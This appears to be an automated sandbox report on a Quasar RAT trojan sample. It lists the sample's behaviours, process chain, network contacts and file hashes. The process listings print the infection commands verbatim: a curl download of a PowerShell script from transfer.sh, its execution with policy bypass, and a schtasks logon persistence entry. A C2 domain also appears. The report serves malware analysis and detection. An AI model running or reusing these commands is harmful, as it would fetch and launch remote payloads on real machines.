Malware Analysis Report

2025-04-14 05:07

Sample ID 230117-kbvmqach82
Target {437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe
SHA256 3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5
Tags
persistence quasar office04 spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5

Threat Level: Known bad

The file {437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe was found to be: Known bad.

Malicious Activity Summary

persistence quasar office04 spyware trojan

Quasar RAT

Quasar payload

Checks computer location settings

Adds Run key to start application

Looks up external IP address via web service

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious use of SetWindowsHookEx

Modifies registry class

Creates scheduled task(s)

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-01-17 08:26

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-01-17 08:26

Reported

2023-01-17 08:28

Platform

win7-20221111-en

Max time kernel

30s

Max time network

33s

Command Line

"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"

Signatures

Adds Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2024 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe C:\Windows\system32\cmd.exe
PID 2024 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe C:\Windows\system32\cmd.exe
PID 2024 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe C:\Windows\system32\cmd.exe
PID 2032 wrote to memory of 808 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 2032 wrote to memory of 808 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 2032 wrote to memory of 808 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 808 wrote to memory of 964 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 808 wrote to memory of 964 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 808 wrote to memory of 964 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 964 wrote to memory of 1804 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 964 wrote to memory of 1804 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 964 wrote to memory of 1804 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 808 wrote to memory of 1860 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 808 wrote to memory of 1860 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 808 wrote to memory of 1860 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 1860 wrote to memory of 1572 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 1860 wrote to memory of 1572 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 1860 wrote to memory of 1572 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 1572 wrote to memory of 1640 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1572 wrote to memory of 1640 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1572 wrote to memory of 1640 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe

"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"

C:\Windows\system32\cmd.exe

cmd /c new.vbs

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\system32\cmd.exe

cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\system32\cmd.exe

cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

Network

N/A

Files

memory/2024-54-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmp

memory/2032-55-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs

MD5 f7e7099eea0cc25fc49d04cd53c573a1
SHA1 3abac9f3f93b0f87ef432d70c40e8ab865157770
SHA256 b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be
SHA512 c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074

memory/808-84-0x0000000000000000-mapping.dmp

memory/964-89-0x0000000000000000-mapping.dmp

memory/1804-90-0x0000000000000000-mapping.dmp

memory/1860-91-0x0000000000000000-mapping.dmp

memory/1572-92-0x0000000000000000-mapping.dmp

memory/1640-93-0x0000000000000000-mapping.dmp

memory/1640-95-0x000007FEF40A0000-0x000007FEF4AC3000-memory.dmp

memory/1640-96-0x000007FEF3540000-0x000007FEF409D000-memory.dmp

memory/1640-97-0x00000000024D4000-0x00000000024D7000-memory.dmp

memory/1640-98-0x00000000024D4000-0x00000000024D7000-memory.dmp

memory/1640-99-0x00000000024DB000-0x00000000024FA000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-01-17 08:26

Reported

2023-01-17 08:28

Platform

win10v2004-20221111-en

Max time kernel

143s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation C:\Windows\SYSTEM32\cmd.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3572 set thread context of 2880 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\Local Settings C:\Windows\SYSTEM32\cmd.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4644 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe C:\Windows\SYSTEM32\cmd.exe
PID 4644 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe C:\Windows\SYSTEM32\cmd.exe
PID 4112 wrote to memory of 3752 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WScript.exe
PID 4112 wrote to memory of 3752 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WScript.exe
PID 3752 wrote to memory of 2132 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3752 wrote to memory of 2132 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2132 wrote to memory of 4320 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2132 wrote to memory of 4320 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4320 wrote to memory of 1852 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4320 wrote to memory of 1852 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 3752 wrote to memory of 364 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3752 wrote to memory of 364 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 364 wrote to memory of 632 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 364 wrote to memory of 632 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 632 wrote to memory of 3572 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 632 wrote to memory of 3572 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3572 wrote to memory of 2880 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3572 wrote to memory of 2880 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3572 wrote to memory of 2880 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3572 wrote to memory of 2880 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3572 wrote to memory of 2880 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3572 wrote to memory of 2880 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3572 wrote to memory of 2880 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3572 wrote to memory of 2880 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2880 wrote to memory of 1952 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\schtasks.exe
PID 2880 wrote to memory of 1952 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\schtasks.exe
PID 2880 wrote to memory of 1952 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\schtasks.exe

Processes

C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe

"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c new.vbs

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\system32\cmd.exe

cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\system32\curl.exe

curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\system32\cmd.exe

cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\schtasks.exe

"schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" /rl HIGHEST /f

Network

Country Destination Domain Proto
N/A 93.184.221.240:80 tcp
N/A 8.8.8.8:53 transfer.sh udp
N/A 144.76.136.153:443 transfer.sh tcp
N/A 8.8.8.8:53 ghcc.duckdns.org udp
N/A 95.216.102.32:4782 ghcc.duckdns.org tcp
N/A 8.8.8.8:53 tools.keycdn.com udp
N/A 185.172.148.96:443 tools.keycdn.com tcp
N/A 8.8.8.8:53 api.ipify.org udp
N/A 64.185.227.155:443 api.ipify.org tcp
N/A 104.46.162.226:443 tcp
N/A 93.184.221.240:80 tcp
N/A 104.80.225.205:443 tcp
N/A 93.184.221.240:80 tcp
N/A 8.8.8.8:53 14.110.152.52.in-addr.arpa udp
N/A 93.184.221.240:80 tcp
N/A 8.8.8.8:53 a.2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.0.5.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa udp
N/A 93.184.221.240:80 tcp

Files

memory/4112-132-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs

MD5 f7e7099eea0cc25fc49d04cd53c573a1
SHA1 3abac9f3f93b0f87ef432d70c40e8ab865157770
SHA256 b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be
SHA512 c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074

memory/3752-134-0x0000000000000000-mapping.dmp

memory/2132-135-0x0000000000000000-mapping.dmp

memory/4320-136-0x0000000000000000-mapping.dmp

memory/1852-137-0x0000000000000000-mapping.dmp

memory/364-138-0x0000000000000000-mapping.dmp

memory/632-139-0x0000000000000000-mapping.dmp

memory/3572-140-0x0000000000000000-mapping.dmp

memory/3572-141-0x000001DAF4570000-0x000001DAF4592000-memory.dmp

memory/3572-143-0x00007FFBAD7F0000-0x00007FFBAE2B1000-memory.dmp

C:\Users\Admin\AppData\Roaming\rr.ps1

MD5 970aca768e68faa580f758a1a379686b
SHA1 6a93921485cbd83382eb5a47315b1f0a67bcf684
SHA256 6c1e62385d660ca43e024d461154fbb4805e429cdf7850d19510d7f69533739e
SHA512 66dd4c5b17978e68c8e0cd2bc4fd35ba5d519447ff34259ec77d11e4253cbfc9955a43915ed3c343f41dc04d97f4302ab6922a823b0e0da44e8893d29ec7cf0f

memory/2880-144-0x0000000000400000-0x0000000000484000-memory.dmp

memory/2880-145-0x000000000047E74E-mapping.dmp

memory/3572-146-0x00007FFBAD7F0000-0x00007FFBAE2B1000-memory.dmp

memory/2880-147-0x00000000055C0000-0x0000000005B64000-memory.dmp

memory/2880-148-0x00000000050D0000-0x0000000005162000-memory.dmp

memory/2880-149-0x0000000005080000-0x000000000508A000-memory.dmp

memory/1952-150-0x0000000000000000-mapping.dmp

memory/2880-151-0x0000000006660000-0x0000000006C78000-memory.dmp

memory/2880-152-0x0000000006130000-0x0000000006180000-memory.dmp

memory/2880-153-0x0000000006420000-0x00000000064D2000-memory.dmp

memory/2880-154-0x0000000007570000-0x00000000075D6000-memory.dmp